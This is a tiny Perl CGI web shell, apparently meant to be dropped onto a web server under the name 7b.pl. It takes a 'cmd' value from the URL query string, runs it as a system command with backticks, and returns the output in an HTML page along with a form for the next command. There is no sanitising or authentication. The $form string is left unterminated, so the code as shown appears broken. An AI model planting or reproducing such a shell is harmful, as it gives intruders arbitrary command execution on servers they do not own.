#!/usr/bin/perl
#Rename file to 7b.pl
$form = "

        <form name=\"command\" method=\"get\" action=\"7b.pl\">
        <p align=center>
        <input type=\"text\" name=\"cmd\"></input>
        <input type=\"submit\" name=\"submit\" value=\"submit\"></input>
        </p>
        </form>

@data = split (/&/, $ENV{'QUERY_STRING'});

foreach $str (@data) {

        ($name, $value) = split (/=/, $str);
        $FORM{$name} = $value;

}

$output = `$FORM{cmd}`;
print "Content-type:text/html\n\n";
print "<html><head><title>Unix Command</title></head><body>"; print "$output";
print "<br><br>";
print "$form";
print "</body> </html>";